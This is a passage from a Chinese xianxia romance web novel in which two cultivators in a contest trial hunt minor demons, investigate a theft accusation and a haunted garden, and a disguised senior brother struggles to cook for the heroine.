“敲门也没反应……说起这个,我一路翻墙过来,连一个活人都没看见。” “你还不知道吧?” 她叹气:“其实我是逃命来的。” 纪楚惊讶,许盈继续说: “白天的时候,玉书牌完全没有反应,我就在周边转了转,什么也没发现。徬晚有两人来敲门。” “我刚一打开门,天就黑了,那两个人在我面前气息大变,一下子凶神恶煞目露凶光,出手就要我性命。他们的状态不像人,但也不是妖……和那个小孩一样!” 许盈回想起当时“大变活人”的场景,仍觉汗毛倒立: “我搞不清楚状况,又不能贸然动手杀人,只好一路逃窜。” “我也差不多!” 纪楚闻言睁大了眼睛: “白天也是一切正常,晚上的时候才听见这边有动静,翻墙过来,竟然看见妞妞一个小孩子,动手掐死了一只狐妖……” 她拿出玉书牌: “我的任务是除妖得分,你的呢?” 许盈也拿出自己的玉书牌,除却名字不同,其他的都一样。 两人齐齐苦恼起来: “好容易见着只妖,却已经被杀了。反倒是这些奇奇怪怪的人,不知道是个什么情况。” 正愁眉苦脸时,隔壁传来一道凉凉的声音: “杨思思。” 纪楚眼睛一亮,抓着许盈的袖子上下抖了抖,激动道: “我要有好吃的了!” 说罢不等许盈回答,迅速沿着原路翻了回去。 孟喻辞神色淡淡,见她从隔壁翻回来也没说什么,只将刚出锅的“红烧豆腐”放在桌子中央,示意她过来坐下。 盘子里的豆腐摆放如同垒墙一般横平竖直,虽然颜色似乎比平时的红烧豆腐浅了些,但胜在大小均衡,色泽莹润,翻炒后丝毫不见松散破损,可见刀功精绝,细致入微。 清新的豆香传来,混着淡淡的辛辣。 纪楚忍不住咽了口口水,拿起筷子夹了一块塞进嘴里。 孟喻辞微微侧头,观察她的表情。 下一秒,便见纪楚睁大了眼睛,双目漫上水雾,脸上同时出现了“震惊”、“意外”、“震撼”、“僵硬”、“呆滞”种种表情。 孟喻辞回忆了一番纪楚吃盘盘果时的神情,似乎略有不同。 他还没来得及从纪楚丰富的表情中分析出自己第一次做饭的成功与否,就见坐在桌边的人“蹭”得一下跳了起来,冲进厨房,遍寻一圈不见水喝,于是转身将那足以噎死人的冷饼疯狂往嘴里塞,活像八辈子没吃过饭—— 作者有话说:无奖竞猜:师兄第一次下厨好吃吗? 第33章 辣,太辣了,简直要把她活活辣死。 纪楚一边往嘴里塞饼,一边感觉自己的舌头好似被拔下来扔进了太上老君的炼丹炉,一半已经没了知觉,另一半还能感受到三味真火焚烧之痛。 她痛苦地擦了擦自己被辣出来的眼泪,侧眼一看,“杨念之”端着那盘足以辣死人的豆腐跟了过来。 纪楚顿时虎躯一震,连续后退好几步,和他保持距离,一边用怀疑的目光审视着他,不明白在“杨念之”这种厨艺的祸害下,杨思思究竟是怎么长大的? 孟喻辞的视线落到她被辣出细汗的额头和发红的眼眶上,将她的怀疑和警惕尽收眼底。 他蹙眉,没想到自己竟会犯下如此大的失误。 优秀了一辈子的孟喻辞不允许自己的人生存在这样明显的疏漏。 于是他对纪楚说: “方才是我失手,你出去等。” 说罢,他转身又拿起了菜刀,神情严肃,目光锐利,看向灶台时甚至有些杀气凌凌。 纪楚又辣又噎,说不出话,捏着饼子委屈地出了门。 很快,孟喻辞又端出来了新的一盘豆腐。 纪楚警惕地看了看,做了半天心理建设,这才夹起一块豆腐小心翼翼地咬了一口,还不敢像以前那个囫囵咽下去,只敢放在嘴里细细地嚼。 站在她对面的孟喻辞:“如何?” 纪楚:“嗯……不辣了,但是有点酸……” 面前的盘子被人抽走,“杨念之”扔下一句“等着”,再度进了厨房。 纪楚:“……” 第三盘有点甜,还有点糊。 第四盘味道已经正常很多,并且这已经是家里仅剩的最后一块豆腐了。 纪楚品得很是谨慎。 “杨念之”站在她面前“虎视眈眈”,漆黑双目一眨不眨地盯着她把豆腐送进嘴里,大有一副“这盘也不行就立马出门再买几斤豆腐”的架势。 纪楚:“……挺好的,人间美味。” 孟喻辞嗤笑一声,说不清是在嘲笑她谎话说的太假,还是在嘲笑自己头一次出现这种接二连三再三再四都做不好的事。 他俯身伸手,准备将纪楚面前的盘子拿走。 手却被人按住了。 就在刚刚,纪楚看着盘子里的饭菜,忽然萌生出一种自己在欺负人的错觉。 其实,“红烧豆腐”是什么味道根本不重要,重要的是,杨念之是杨思思唯一的亲人。 无论是作为杨思思,还是作为顶替了杨思思身份的纪楚本人,她都不该仗着自己是外来的修士、仗着杨念之对自己这个躯壳的耐心和关心,大半夜折腾人。 她原本只是想找个借口将人忽悠走,却反而害得杨念之一晚上没能休息……他还是个病人呢! 自己真是太该死了! 况且,折腾了大半夜,现在的她已经不想再吃到任何口味诡异的豆腐了! 于是纪楚抬头,望着他的眼睛强调: “真的特别特别特别好吃!阿兄,你信我!” 孟喻辞目光与纪楚对上,隔着两张陌生的容颜,却忍不住想起在拂宇仙宗的时候。 她练剑练得累了,坐在他腿边的地上耍赖不肯起来,仰着脸同他打商量: “我真的特别特别特别累了,师兄,我明天肯定好好练,你信我!” 孟喻辞恍惚了一瞬,被她按住的手指微微一动,下意识想要把手抽走。 纪楚以为他还是坚持要回去重做,急忙用力按住他的五指,一边迫不及待地向他演示“特别好吃”。 她一手按着他的手不松,另一手拿着筷子朝自己嘴里扒豆腐,管他咸的甜的没味的,一股脑往嘴里塞,吃的脸颊鼓鼓,还不忘冲他坚定地点头,满脸写着: “你看我吃得这么香,所以是真的好吃!” 这回孟喻辞没有再试图拽出自己的手,任由她按着自己的五指,将他的手连同盘子一起捧着,狼吞虎咽般表演“好吃”。 因着俯身的姿势,他离她很近,轻易便能看到她吃到一块极其咸的,眉头一皱,很快用低头扒饭做掩饰,又朝嘴里塞了更多,还要悄悄观察他有没有发现。 ——她在哄他开心。 他本该在心里哂笑一声:失败即是无能,自己何时竟成了失败后承担不起,反而需要小孩子来哄他的人? 但此刻看着纪楚的模样,他却沉默了。 或许他于做饭一途委实没什么天赋。 孟喻辞不由得心想。 但纪楚却一口气把整盘菜吃得干干净净。 然后睁着圆溜溜的眼睛看他: “真的特别好吃,我都吃光了,阿兄,你就是全世界最好的厨子!” 孟喻辞忍不住轻笑。 这样直白的、近乎笨拙地表 达善意的方式,由纪楚做出来,总是显得格外傻气可爱,让他很难再继续维持冷淡的神态。 于是他垂眸,目光温和下来,忍不住放缓了语调,低声保证: “明日,明日定会好吃。” * 天蒙蒙亮的时候,隔壁忽然传来的敲门声惊醒了纪楚的梦。 她这才发现自己昨晚担心有危险主动守夜,结果一不留神,竟然靠在墙边睡着了。 身上盖着一件衣裳,院子里不见杨念之的身影。 梦里那个上蹿下跳、说她是特殊之人、告诫她一定要赢下比试的猴子终于安静下来。 纪楚怀疑是自己执念太重,加上之前在藏书阁看的书的影响,所以才反映到了梦里。 但是也很奇怪,总觉得那猴子的语气有点耳熟,似乎在什么地方听过。 她想不起来,但“一定要赢下比试”几个字就跟咒语一样,成功刻在了她脑子里。 纪楚看向周围。 后半夜安安静静,什么也没有发生。 许盈趴在墙头睡觉,齐文轩瘦长的身材被她像麻袋一样挂在墙上,腿留在何婶院子里,两臂垂在纪楚头顶,晃来晃去,同样睡得灰昏天黑地。 听见敲门声,她茫然地睁开眼。 扭头朝后看,借着攀在墙上居高临下的角度,许盈一眼就看见门外站着几个家丁打扮的人。 瞌睡虫顿时消失,她连忙两腿扑腾,蹬着墙试图将自己挪到纪楚这边。 大门被暴力推开的一瞬间,许盈一脚踩空,整个人头朝下直直冲着纪楚摔了下来。 纪楚:“!” 她刚睡醒,脑子还没有归位,就眼睁睁看着一大坨黑影从天而降。 一声沉闷的撞击声后,两人齐齐以扑街的姿态瘫在墙边地上。 纪楚觉得自己头晕眼花,好像失去了所有力气。 她平躺在地上,半睁着眼睛看天边的云扭曲变形长出银色星星,心想着要不直接再睡一觉吧,说不定她今天就被这一砸直接淘汰了…… 旁边的许盈却大力摇晃她的肩膀,压着嗓音冲她喊: “你清醒一点!就是他们!昨天追杀我的人!!!” 隔壁安静了一夜的院子热闹起来,先是何婶夫妻两个匆忙从主屋出来,看见一片狼藉的院子后呼天喊地。 再是妞妞从厨房揉着眼睛出来,何婶诧异“昨夜怎么睡的这样沉”,以及“这孩子怎么又梦游”。 似乎对昨晚发生的种种事件毫不知情。 最后是领头的那个家丁的声音: “齐文轩偷盗赵府传家宝,昨夜有人看见他翻进了你们院子!老实交代,你们是不是一伙的!” 纪楚看向许盈,她就立马举起双手,疯狂摇头表明自己不知情。 “冤枉啊!我们小门小户,哪里敢偷赵府的东西!” 隔壁何婶的喊声变得更大: “我说鸡怎么都跑了,原来是昨夜遭了贼!原来是这个杀千刀的吃软饭的贼啊!定是这小贼犯了贼瘾,一偷偷一串啊!天杀的偷鸡贼!谁来为我们做主啊!” 妞妞也哭了起来:“鸡没了!鸡没了!” 何婶和妞妞抱头呼号,院子顿时吵闹非常。 一片混乱中,许盈和纪楚悄悄将脑袋从院墙上缩了回去。 “这些人白天和晚上根本两个样子,肯定有问题。” 许盈说:“要不我现在出去,看看他们到底想做什么?” 纪楚摇头: “不行,我们昨天早上才来,很多事情还不清楚,万一他们白天也会动手杀人呢?” 许盈:“这倒是,问仙大会多少年才办一次,奖品可是圣品应元丹啊……整整三颗,一百五十年的修为——我可不能刚进来就淘汰!” 虽然失去了一个拜见神骨的机会,但却可以得到难得的“圣品灵丹”,纪楚一边失落一边斗志昂扬: “说得对!我也不能被淘汰!” 两人互相打了一番鸡血,隔壁的闹剧已经安静下来。 那几个家丁朝着杨家的院子走来,看来是打算一家家问“齐文轩”的下落。 许盈做口型:“怎么办?” 纪楚想了想说: “起码要先搞清楚:齐文轩有没有偷赵府传家宝。” 两人赶在敲门声响起之前翻墙出了院子。 * 齐文轩是个家道落魄的书生,身无分文,家里只一个破旧的老房子,院墙破损,屋子里一眼就能望到头,甚至可以用“家徒四壁”来形容。 唯独书画堆积了不少,纪楚和许盈两个人翻找了一圈,也不曾看见什么“宝贝”。 但赵府的人信誓旦旦,她俩过来时,还看见一些官差打扮的人在齐文轩家门口巡逻,大有一副见到人就当场拿下的架势。 两人连面都不敢露,再次翻墙进来。 这样下去,许盈根本没机会捉妖,一露面就会被抓。 事关问仙大会的排名,和价值一百五十年修为的“圣品灵丹”,许盈一刻也停不下来。 她展开一卷画轴,俨然已经把齐文轩当成了盗宝贼本人,提出猜想: “或许是他藏在了别的地方,这些字画就是藏宝暗语。快快,我们快翻翻他这些诗!” 纪楚:“……我不想读诗。” 最终她还是拆开一卷字画,开始仔细地读旁边的题诗,没一会儿就开始犯困打哈欠。 许盈同样看得头大。 看个话本子她还能提起精神,看这些云里雾里的诗句,简直要了她的命! 两人背靠着背坐在一地字画中间,面有菜色,目光呆滞,眼皮沉重。 忽然,纪楚“呀”了一声,举着一幅画站了起来。 摸鱼打哈欠的许盈失去了靠背,猛地朝后一倒,瞌睡虫跑了大半。 “怎么了怎么了?发现传家宝了吗?” “没有。” 许盈失望的同时,听见纪楚说: “但是我看见了一个熟人。” 她转身,将画卷展示给躺在地上的许盈,指着上面的人说: “薛晨,赵府表公子。” 之所以对他印象深刻,还是因为何婶给的两本相亲册子里,每个人的画像和描述都差不多。 但只有这个叫“薛晨”的人,高清画像,赞美堆积,在一众平平无奇的人中脱颖而出,就差把“选他”两个字写在脑门上。 齐文轩的这幅画,纸张、墨迹都比其他的画精致许多,连装裱用的卷轴都散发着淡淡的木质香,一定价值不菲,可见这张画的重要程度。 画上共两人,最中央的女子面容秀丽,与“薛晨”一同在亭中对弈。 右上角写着画名:《玉琳与表兄对弈图》。 “原来如此……” 许盈先是睁大眼睛,而后忽然垂下眼皮,一揽住纪楚肩膀,另一手指向前方,神情变得悠然而陶醉: “我是个家道中落的落魄书生,富户小姐对我芳心暗许,我却只敢借着她和表兄对弈的机会留下她的画像……” “但是我还是忍不住,在给画题名时,将深切的爱意直白书写……” 纪楚懂了,她立马接上戏: “但你却生出贼心,偷拿赵家宝物,从此再也无颜面对赵玉琳。” “胡说!我就算再穷,也绝无可能伤害玉琳的心!” 许盈入戏太深,被污蔑后横眉竖眼: “再说我是个连画画都不敢画单人画的怂包,根本没胆子偷窃!” 推理中断。 纪楚推开许盈的胳膊: “看来赵家传家宝可能真的不是齐文轩偷的。”—— 作者有话说:师兄(表面):失败就是无能。 (背地里):锅铲抡冒烟,真男人不能有短板[摊手] 第34章 调查陷入僵局,不知不觉间,天色已暗。 太阳落山的瞬间,纪楚和许盈同时察觉到一股阴寒的冷意,似恶鬼盘旋游移,夹杂着若有似无的妖气。 和昨夜情形如出一辙。 屋顶传来脚步声,听起来重量很轻,瓦片被踩出零散的移动声。 纪楚将手里的画轴卷起来: “齐公子,你家的屋顶得翻修了。” 许盈抄起桌子上碗大的砚台: “好麻烦啊,我只是个贫穷虚弱的书生。” 话音刚 落,纪楚头上的房顶忽然破开一个大洞,一条身形极瘦极长、半是妖形半是人头的蛇妖从洞里跳了下来,细长分叉的舌头外伸着,发出嘶嘶的声响,直冲纪楚面容而来。 她早有准备,退后两步灵巧避开,手中卷轴当棍子使,迎面砸在蛇妖的脸上。 “梆”的一声脆响,那蛇妖便像个球一样被她打飞到了许盈脚下。 许盈:“啊啊啊人不人蛇不蛇的好恶心!” 手中砚台毫不留情地冲着蛇头砸了好几下,直打得蛇妖口吐白沫,蛇尾在地上无力地扭动着。 纪楚也觉得有点恶心: “这儿怎么全是没完全化形的妖?” 许盈已经被恶心到半崩溃,召出长剑看向纪楚: “你来我来?” 纪楚退后一步:“你来吧,毕竟是你家。” 许盈不再谦让,主要是实在不想再和这个恶心妖怪共处一室了,果断斩了蛇妖。 地上的蛇妖化作一摊深色水痕消失的同时,许盈身上的玉书牌亮起,除妖成功,记十分。 两人这才齐齐松了一口气,一个开窗通风一个开门透气。 门窗一打开,外面的凉风更加肆无忌惮地灌了进来。 纪楚和许盈一边补房顶一边分析: “这个地方晚上冷得很快,鬼气和妖气混在一起,和白天全然不同。目前看来,夜晚应该就是开始变化的预兆。” 许盈点头,对纪楚的分析表示赞同,一边将瓦片放回原位。 从除掉蛇妖开始,她就一直保持着一种若有所思的模样,和平时那种“不管三七二十一直接就是莽”的状态截然不同。 纪楚忍不住问她: “你想到什么了吗?” 许盈抬头: “纪楚,你不觉得除妖这个任务,有点太简单了吗?” 纪楚疑惑。 许盈解释道: “你没有接过除妖任务,所以觉得没什么,但我经常和蒋成旭下山除妖,那些妖大多穷凶极恶,就算是低阶小妖,往往也害人无数。但这儿的妖,有点太无害了。” 她坐在房顶上,指了指身下的屋子: “比如今天这蛇妖,就算不是你我这样的修士,换作个胆大些的人,应该也能除掉……就是恶心了些。” “这样的任务,真的是问仙大会该有的难度吗?” 许盈这么一说,纪楚也觉得有点古怪: “昨天我只是觉得妞妞强得可怕,但现在想想,她其实并没有强到可以和你我对抗的地步,而那只狐妖也是个没化形的小妖。如果我们的任务只是处理这样的小妖,简直就跟……” “就跟送分一样。” 许盈神情严肃: “问仙大会,圣品灵丹,哪有这么简单的好事?这地方,肯定还有别的古怪!” 一阵凉风吹来,纪楚下意识打了个寒颤,感觉这里的晚上有点太冷了,简直像是一夜入冬。 修好了房顶,齐文轩家里也已经被她们翻了个底朝天,除了和赵玉琳的私情,再也没有其他的线索了。 纪楚决定先回杨家。 许盈没有跟她一起,说是要当个“隐于幕后的独行侠”,从此不再露面,暗中调查。 不过纪楚猜测真实的原因是“齐文轩”一露面就会被人当贼抓。 一路上又见到了几个神态诡异的人,顺手除了两只主动撞上来的小妖,纪楚拿着热乎的“二十分”推开了杨家的大门。 “杨念之”背对着大门站在院子中央,似乎正要回屋。 纪楚没有多想,张口问了句: “阿兄,你也还没睡啊?” 问完她又觉得奇怪: “不过……你是刚从外面回来吗?” 孟喻辞身形一顿,不着痕迹地转了半个身,没有回答她的问题,作势朝厨房的方向走去: “你一天没回来,吃饭吗?” 纪楚果然被他引开了注意,脑子里全是昨天那些口味古怪的豆腐,迟疑道: “呃……我还不是很饿。” 刚说完,她肚子就“咕噜”一声响。 纪楚两手捂着肚子,暗骂它“没点眼力见儿”。 好在孟喻辞没有说什么,直接转身进了厨房。 纪楚在院子里转了两圈,又攀上墙头观察何婶家。 安安静静,一片漆黑,鸡笼和厨房已经整理好了,没有妖气,也不见妞妞“梦游”。 她坐回桌边的功夫,“杨念之”已经端着一碗热腾腾的面走了出来。 纪楚原本还在思考今应该怎么违心地夸“好吃”,谁知低头一瞧,面前的这碗面竟色香味俱全,面是细而匀称的面,汤是清而不淡的汤,上面还卧了一个边缘焦香的荷包蛋,在这个阴寒的夜里散发着温暖诱人的饭香。 只看一眼就叫人食指大动。 孟喻辞将筷子递给她。 纪楚接过筷子,尝了一口,整个人再度僵住。 孟喻辞看她神情,平静道: “不好吃就算了。” 下一刻,却见纪楚先是疯狂点头,再是反应过来后疯狂摇头: “不不不不——好吃!这回是真的好吃!” 她饭也顾不上吃了,一脸惊喜地看向“杨念之”: “原来这才是你的真实水平!杨思思也太幸福了吧……啊不是,我是说,我也太幸福了吧!” 纪楚高兴地恨不得抱着碗蹦起来。 早知道杨念之的厨艺如此高超,她今天就该按时回家吃饭,才不要和许盈一起翻什么诗句字画。 不过好在还有如此美味的夜宵,这一天就不算白过! 孟喻辞看着她像饿了一天的小猫一样,“哧溜哧溜”将一碗面吃的干干净净,眼角眉梢都洋溢着“捡到宝了”的兴奋,和捧着盘盘果的样子并无二致,忍不住在心里轻笑一声。 果真是个小孩子。 眼看纪楚整张脸都快要埋进碗里,头发也随之垂落,他来不及提醒,直接伸手捏住她的头发。 纪楚抬起头,看着他的手“咦”了一声。 孟喻辞捏着指尖柔软光滑的乌发,轻声解释: “头发散了。” 纪楚又“喔”了一声,混不在意的模样: “谢谢阿兄!” 孟喻辞垂眸,十指在她发间灵巧穿梭,将那缕不听话的头发束好。 * 第二天一大早,何婶就上门来堵纪楚了。 “前夜闹了贼,你在隔壁,没撞上什么奇怪的人吧?” 纪楚警惕起来: “不知道呢,我一直在睡觉。” 何婶松了一口气,嘟囔道: “没有就好,可不敢叫那吃软饭的贼惦记上……” 说着她又道: “昨儿个你去哪了,怎么一整天都不见人影……倒也没什么急事,就是想问问,那册子上的人,你可有挑中的?” 吃软饭的贼? 这是纪楚第二次从何婶嘴里听说这个形容了。 难道指的是和赵家小姐有私情的齐文轩? 齐文轩和杨思思难道还有关系? 可她和许盈已经将齐文轩家里翻了个底掉,也没见到任何和杨思思有关的东西啊? 纪楚思索半晌,还是摸不着头脑。 “杨念之”一大早就去给她张罗早饭了,纪楚原本打算直接回绝了何婶的“相亲册子”。 但一想到薛晨和赵家的关系,她又改变了主意。 她想去赵家看看。 纪楚故意装出欲言又止的样子: “册子上啊……倒是有个喜欢的,叫薛……薛……” “薛晨是吧!我就知道你会喜欢!” 何婶面上一喜,迫不及待地接话: “婶子见过的这些年轻人里头啊,就属他模样好长得俊,重点是家世也好啊!赵府表公子,现下就住在赵府,将来可是有数不清的富贵啊!你等着,婶子这就替你去说。” 纪楚却拉住她道: “等等,我又想了想,阿兄身体不好,赵府表公子定然不是个会照顾人的,我若是成了亲,以后谁来照顾阿兄?还是算了吧……” 何婶一听就急了: “这怎么能算了呢?婚姻是大事,你阿兄又怎能忍心耽误你的姻缘?万一拖着拖着,再叫那吃软饭的贼哄骗了去,他哭都没地方!” 纪楚看她。 何婶也意识到自己一着急多说了几句,于是 急忙平静了一下,复又语重心长道: “莫怪婶子多嘴,家里全靠你卖花赚钱,才能得多少银子?万一叫那别有用心的废物书生看上了,可是数不清的麻烦!” “再者说,薛公子可是对你情根深种,专程同婶子打听了你,将来成亲了,聘礼定不会少,给你哥雇个仆人,再娶房妻室,都不成问题。” 何婶果然是薛晨的托。 而让她多次出言辱骂的“吃软饭的贼”、“废物书生”,显而易见是齐文轩了。 看来她的猜测没有错: 杨思思、齐文轩、薛晨、赵玉琳这几个人之间,一定发生了一些事,兴许就是齐文轩被当成贼的关键。 至于是什么事,就只能去赵府一探究竟了。 纪楚什么也没说,假装被她说服,垂下头装作害羞: “可是我还没有见过薛公子呢……” “哎呀,没有可是!” 何婶生怕她打了退堂鼓,急忙将事情敲定: “明日……不,今日我就去寻薛公子,你二人见上一面,保证什么顾虑都没有了!” 纪楚趁热打铁,给何婶的急迫加码: “要不还是算了吧,等薛公子约见我,都不知何年何月了,我这边还得上山采花……” 想到薛晨的嘱托,想必也是耽误不得的。 何婶咬咬牙道:“不必等了,我们现在就去赵府找他!” 计划通,纪楚一下子高兴起来: “那真是太好了!” 她转身跑到厨房门口,“杨念之”正准备端着饭菜出来。 纪楚瞥了一眼就知道好吃,但是去赵府调查更为重要,她也只能忍痛告别: “我有急事出去一趟,来不及吃饭了。” 孟喻辞垂眸看她一眼,没有多问,只说了句: “哦。” 他这么好说话,不言不语地将饭菜又放了回去,反倒看得纪楚有点心虚。 她于是左顾右盼,最后指着桌子上的食材夸了句: “摆盘好像小猫!好可爱!阿兄你真厉害!” 试图缓和气氛。 “杨念之”瞥她一眼,又看了下她手指的地方,没有吭声。 纪楚已经转身跑了,想了想,又停下朝外跑的步子,回头扒在门上说: “我晚上肯定回来吃饭的!” 孟喻辞“嗯”了一声,意识到自己态度太过冷淡,并不像一个关心妹妹的兄长,又补充道: “我等你。” 纪楚这才放心地走了。 她一走,孟喻辞便也没了做饭的必要。 他看了一眼灶台上已经洗好切好、原本打算用来凉调的食材,随手扔了一道灵力将其冻着,而后转身离开。 路过何婶家时,看见妞妞正抱着一个大鸡腿站在门口啃。 她白天看起来和常人无异,但孟喻辞还是察觉到了她身上一股极其轻微的邪气。 他停下步子: “鸡腿好吃吗?” 妞妞点头,口齿不清地回答他: “好吃!我最喜欢吃鸡腿!” 孟喻辞又问:“那你最讨厌什么?” 妞妞脸上的表情一下子变得阴森: “最讨厌偷鸡的贼!狐狸!死掉!” 孟喻辞平静地看着她,指尖却悄然浮现一缕剑气。 还未动手,妞妞就已经恢复了正常模样,抱着鸡腿一脸开心,一边小大人似的冲他说: “思思姐姐,相亲,薛公子……” 孟喻辞神色一顿。 妞妞显然不知道“相亲”的意思,只是在家听大人提起过,这才随口说出,说完便自顾自抱着鸡腿继续啃了,和普通孩童并无区别。 孟喻辞身上的剑气和杀意无形褪去,转而成了一种难以言喻的不爽。 他明知纪楚并非是非不分之人,急着离开,十有八九是为了问仙大会的比试内容。 这本也没什么,她并不知道自己的身份,只当他还是那个一无所知的病秧子“杨念之”,自然也没有必要事事与他交代; 而他也合该演好这个身份,不让纪楚生疑。 可就算这么想着,他心里却还是忍不住浮上几分微妙的落寞: 原来不吃他做的饭,是因为急着去和“薛公子”相亲—— 作者有话说:师兄:一脸冷漠地变成男妈妈jpg 纪楚:头也不抬地吃吃吃吃吃吃…… 第35章 纪楚还不知道妞妞已经把自己卖了。 她跟着何婶一路穿过长街,走到一处极为富丽堂皇的府邸前,何婶拦下纪楚,独自同门房说了什么,便见那人打量了纪楚一眼,转身进去了。 过了一会儿,一个书童打扮的人出来,上下扫视一番纪楚,皱了皱眉,嫌弃道: “你就是那个卖花的?跟我来吧。” 何婶站在原地,丝毫没有被懈怠的不快,反而一脸欣喜地同她比划: “快去快去。” 纪楚收回视线,跟着进了赵府。 赵家不愧是城中最为富庶的商户,府内亭台楼阁金碧辉煌,假山池塘错落有致,名花贵种更是数不胜数,简直是个小皇宫。 纪楚很是好奇,左顾右盼多看了几眼,便听见前头带路的书童鄙夷道: “真是个没见识的穷鬼,公子怎么能看上这种女人?” 正好行至无人处,他索性停下步子,抄着手,背对着纪楚开始说教: “你这种女人我见多了,仗着有几分姿色就想勾搭我们公子,却还要耍弄三催四请的手段……区区一个卖花女,我们公子肯屈尊降贵给你一个机会,你可休要拿乔卖弄,要是能哄得公子开心,日后或许还能混个小妾外室当当……” 纪楚:“……” 她抬腿就在书童背后踹了一脚。 用力不重,但这书童平时并不勤于锻炼,下盘不稳,竟被她轻易踹出去老远,“哎呦”一声,摔进了一旁草丛里。 “你个泼妇小贱……” 他揉着腰站起来,正准备叉腰大骂纪楚时,却发现人已经不在背后了。 “人呢?” 书童站在原地,一下子慌了神。 * “还书童呢?满嘴疯话,读的什么书?吃的什么药?” 纪楚将烦人的家伙踢开后,独自沿着石子小路朝前走。 赵府虽然大,一路上却没见到几个人,甚至比旁的地方还要阴冷一些。 一进赵府,纪楚就感到不太对劲。 仿佛有什么极其阴森的东西一直在背后盯着她似的,让她时不时就本能想拔剑应战。 但是没有。 周边只有她一个人的脚步声,没走多远,连书童的气息都消失了。 一墙之隔的园子里安安静静,槐树的树梢从红墙中探出来,在石子路上打下一片阴影,槐花的香气浓烈扑鼻。 纪楚在树荫下站定。 背后那道无形的目光也随之跟着停下,越发凝实地粘在她背后,很容易让人联想到浓稠粘腻的血水,空气也好似成了胶着潮湿的固体,将她堵在这一片阴影之间。 桀桀怪笑如同幻听,随着花香送进她的感官,像个八面环绕的喇叭,还自带变调,吵得纪楚一下子头疼起来。 她忍无可忍,从地上捡起一块石头,朝着墙头上露出的槐树枝砸了过去: “哪来的小鬼,大白天也敢出来吓人?” 槐树枝被她砸中折断几根,地上的阴影散开,阳光照了过来,鬼叫声顿时停下。 纪楚绕着墙走了一圈,没找着入口。 这园子就好像封死的 一样,一道高墙围了个囫囵,只有槐树能从里面伸出头来。 纪楚左右看了一眼,没有人。 她二话不说就攀上了墙。 谁知她刚站上墙头,就听见老远处有人大喊: “有人闯槐园!快抓住她!” 不少人举着棍子朝这边跑来。 纪楚还没来得及看清园内景象,就被人从背后拽下了墙。 出师不利啊…… 纪楚心想:她可千万不能和许盈一样被当成贼,从此只能“幕后调查”。 故而摔下来的同时,她果断抬肘后击。 闷哼声响起,拽她的人被打得后退两步,松开了拉着她胳膊的手。 一个衣着富贵、唇红齿白的俊俏少年站在她面前,按着胸前肋骨处被她捶到的地方,疼得脸色青白,嘴角却噙着熟悉的笑: “阿楚,你怎的还是如此无情?” 这熟悉的令人隔应的语气,这装模作样的姿态,除了薛羡尘,还能有谁? 纪楚的目光一下子变得警惕而意外。 她这样如临大敌般的重视的神情,仿佛时刻准备着扑上来将他殴打撕咬一顿,是只有在看到他时才会有的吗? 薛羡尘这样想着,勾起嘴角,伸手想要拉她手腕。 纪楚反手又是一拳。 可惜这次没能打到人,挥出的拳头被薛羡尘抓住,而后整个人被他按进怀里。 抓住纪楚的一瞬间,薛羡尘心里浮现出一丝隐秘的快意。 他在掌控着她。 她的拳头毫不留情砸在他身上,他却竟然从痛感中品出几分让他忍不住想要叹息出声的满足。 甚至忍不住滋生出更多充满恶意的念头,想知道她会不会在他手中,更加拼尽全力地反击。 少年身形颀长,将她的脸完全挡住。 这该死的魔头,竟敢趁机占她便宜! 纪楚怒极想要挣脱,薛羡尘却说: “阿楚如果不想被抓住的话,就不要乱动。” 余光瞥到追来的家丁们,能屈能伸的纪楚安静下来。 一行人跑过来却扑了个空,不见方才那试图闯槐园的人,只看见他们的表公子薛晨搂着一个女子,十分亲昵地为其梳理头发。 抬起的宽袖垂下,正好将怀里那女子的衣着打扮遮住。 这些家丁一时有些迟疑,想要上前查看,又怕触了薛晨的霉头,只好派一个胆大的上前询问“是否见到闯园之人”。 薛羡尘否认。 家丁们不相信。 好端端一个大活人不会轻易消失,薛晨早不出现晚不出现,偏偏在有人闯园的时候出现,实在太过巧合了。 但追问却换来“薛晨”漫不经心的嘲讽: “偏僻地儿抱美人才有意趣,若是不信,你们就继续搜呗。” “可别怪我没提醒你,这槐园日日闹鬼,你们怎么确定,那爬墙的,就是个大活人呢?” 一句话说的众人汗毛倒竖,细思之下越发觉得后怕,匆忙互相推搡着离开旁边这个阴森的园子。 毕竟这位薛表公子素来是个行事无状的混不吝,哪儿热闹往哪凑,小事也能被他搅和成麻烦事,专挑槐园附近谈情说爱也不是没有可能。 前日还听说这位主看上了一个卖花女,到处打听不说,还花了银子叫人说和,竟是一副上了心的样子。 不过谁让赵老爷最是喜欢这位表公子呢。他们这些做下人的,除了顺着主子也没有办法。 更重要的是,这槐园确实容易闹鬼,他们谁也不想继续留在这儿,索性就这么回禀了去,反正也有薛晨作证。 追兵离开,纪楚立马推开薛羡尘,问了她最关心的问题: “槐园闹鬼怎么回事?赵府和比试内容有关吗?” 薛羡尘却没有回答,垂了眸子,一副被辜负的模样: “我救了阿楚,连声谢谢都没有,阿楚就如此讨厌我吗?” 这个魔头是演深情演上瘾了吗? 纪楚:“你少在那装!是不是你买通何婶,故意引我过来?” 薛羡尘却像是刚知道她的身份似的,闻言露出恍然大悟的表情: “原来阿楚就是杨思思!” “我刚来便听说这个身份痴恋一个卖花的女子,原还觉得麻烦,想着是否要回绝了,没想到……竟是阿楚你!” “如今分到同一场比试中,还有这样一层关系,可见你我二人实在缘分匪浅。” 他轻笑起来,分明看到纪楚满脸吞了苍蝇般的不悦,却还是故意问她: “阿楚,你欢喜不欢喜?” 纪楚:“……” 她发现她跟薛羡尘这种脑子有病的神经病根本没法沟通。 不对,是她根本不该和薛羡尘沟通! 一个魔头,谁知道他混进问仙大会是不是要害人,她是脑子坏了才试图从他这里了解情况! 既然“薛晨”就是薛羡尘,那她也不用装模作样演什么相亲了。 想必这个魔头也不会叫她顺利完成比试,指不定在哪等着坑她。 纪楚决定故技重施。 她上前一步,在薛羡尘露出笑容朝她展开双臂试图再度抱她的同时,猛地抬腿—— 将衣着富贵的表公子也踢进了草丛里。 而后她调动灵力,进了闹鬼的槐园。 纪楚落地后还朝墙上看了一眼,薛羡尘没有跟上来——最好是已经被她踢死了。 她诅咒完人,转头看向面前的园子。 和预想中的不太一样,这座经常闹鬼的槐园非但不阴森可怖,反而一派欣欣向荣。 园中种满了鲜花,缤纷的色彩像一副色彩鲜亮的画,只是看着就叫人感到心情舒畅。 中间的老槐树也不像她在外面时看得那般鬼气森森,高大的树冠向上伸展着,浅色的小花挂在枝头,芳香满盈。 怎么看,都和“鬼”没有关系。 纪楚觉得奇怪,又朝更深处走了几步,一座四角凉亭出现在她面前。 